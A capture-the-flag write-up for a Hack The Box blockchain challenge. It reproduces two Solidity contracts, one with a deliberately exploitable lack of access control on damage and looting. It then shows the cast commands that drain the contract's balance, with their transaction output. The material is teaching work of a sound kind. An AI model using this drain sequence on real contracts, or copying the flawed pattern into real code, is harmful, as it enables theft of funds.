Challenge Overview

This is a blockchain challenge. Visiting the challenge page presents a small pixel-art game where our character faces two monsters, with “Restart” and “Attack” buttons at the bottom.

Survival of the Fittest

Clicking “Attack” just triggers a cosmetic “Attack dodged!!” banner on the frontend; it doesn’t interact with the blockchain at all.

Attack dodged!!

The real target is the connection panel, which provides a private key, our wallet address, a target address, and a setup address. These correspond to the smart contracts backing the challenge.

To interact with the chain, we use the RPC URL exposed at the /rpc route.

Smart Contracts

The challenge provides two contracts. Setup.sol defines the win condition:

// Setup.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
 
import {Creature} from "./Creature.sol";
 
contract Setup {
    Creature public immutable TARGET;
 
    constructor() payable {
        require(msg.value == 1 ether);
        TARGET = new Creature{value: 10}();
    }
 
    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

The setup deploys a Creature contract funded with 10 wei, and the challenge is considered solved once that balance reaches 0. In other words, our goal is to drain the Creature contract entirely.

Creature.sol is where the actual game logic lives:

// Creature.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
 
contract Creature {
    uint256 public lifePoints;
    address public aggro;
 
    constructor() payable {
        lifePoints = 20;
    }
 
    function strongAttack(uint256 _damage) external{
        _dealDamage(_damage);
    }
 
    function punch() external {
        _dealDamage(1);
    }
 
    function loot() external {
        require(lifePoints == 0, "Creature is still alive!");
        payable(msg.sender).transfer(address(this).balance);
    }
 
    function _dealDamage(uint256 _damage) internal {
        aggro = msg.sender;
        lifePoints -= _damage;
    }
}

The creature starts with lifePoints set to 20. There are two ways to damage it:

  • punch(), which always deals exactly 1 damage.
  • strongAttack(uint256 _damage), which lets the caller pick an arbitrary amount of damage to deal, with no upper bound and no access control. Both call the internal _dealDamage function, which sets aggro to whoever called it and subtracts the damage from lifePoints. aggro is purely cosmetic bookkeeping (presumably meant to track “who’s currently fighting the creature” for the frontend); it plays no role in access control anywhere in the contract.

loot() requires lifePoints to be exactly 0, then sends the contract’s entire balance to whoever calls it. Critically, it doesn’t check that the caller is the same address that landed the killing blow, so once the creature is dead, anyone can loot it.

Since strongAttack accepts any _damage value chosen by the caller, we don’t need to grind out 20 individual punches. We can kill the creature in a single transaction by calling strongAttack(20). Note that because this contract is compiled with Solidity 0.8.13, arithmetic operations have built-in overflow and underflow checks, so passing a damage value greater than the current lifePoints would cause the subtraction inside _dealDamage to revert. Using exactly 20 avoids that and brings lifePoints to precisely 0.

Exploitation

To interact with the contracts we use cast, part of the Foundry toolkit. cast is a command-line tool for making arbitrary Ethereum RPC calls: cast call performs a read-only call against a contract, while cast send broadcasts a signed transaction.

If we try to call loot() before killing the creature, the transaction reverts with the require check we saw in the source:

cast send $TARGET_ADDRESS "loot()" --rpc-url "http://154.57.164.83:32310/rpc" --private-key $PRIVATE_KEY
 
Error: Failed to estimate gas: server returned an error response: error code 3: execution reverted: revert: Creature is still alive!, data: "0x08c379a0000000...0": Error("Creature is still alive!")

So we first attack the creature using strongAttack, dealing exactly 20 damage to bring lifePoints to 0:

cast send $TARGET_ADDRESS "strongAttack(uint256)" 20 --rpc-url "http://154.57.164.83:32310/rpc" --private-key $PRIVATE_KEY

The transaction succeeds:

blockHash        0xa5e93284673dc4b8e057cc31c02d24d0b48f157a10b3920c3d89615edacc8d49
blockNumber      2
status           1 (success)
transactionHash  0xd025f98250a2c45dedecb06620db1134a3b759e76e62875aa4a0e11c61dd4cb2
to               0x17ab359EE6717046b53DA73e17163fa9F97Dd84A

With lifePoints now at 0, we call loot() to drain the creature’s balance:

cast send $TARGET_ADDRESS "loot()" --rpc-url "http://154.57.164.83:32310/rpc" --private-key $PRIVATE_KEY

This also succeeds:

blockHash        0xe03a38bc924c5d282cceb0a938aa7a85421d6564b6b10545200db1583b4f272f
blockNumber      3
status           1 (success)
transactionHash  0x61cdf2c039c9191e5c6382635157e26542ec9c6a9b55a0aa4616a22a631c8245
to               0x17ab359EE6717046b53DA73e17163fa9F97Dd84A

We can confirm the challenge is now solved by calling isSolved() on the setup contract, which checks whether the creature’s balance is 0:

cast call $SETUP_ADDRESS "isSolved()(bool)" --rpc-url "http://154.57.164.83:32310/rpc"
 
true

Finally, we retrieve the flag from http://154.57.164.83:32310/flag:

HTB{g0t_y0u2_********

written by bara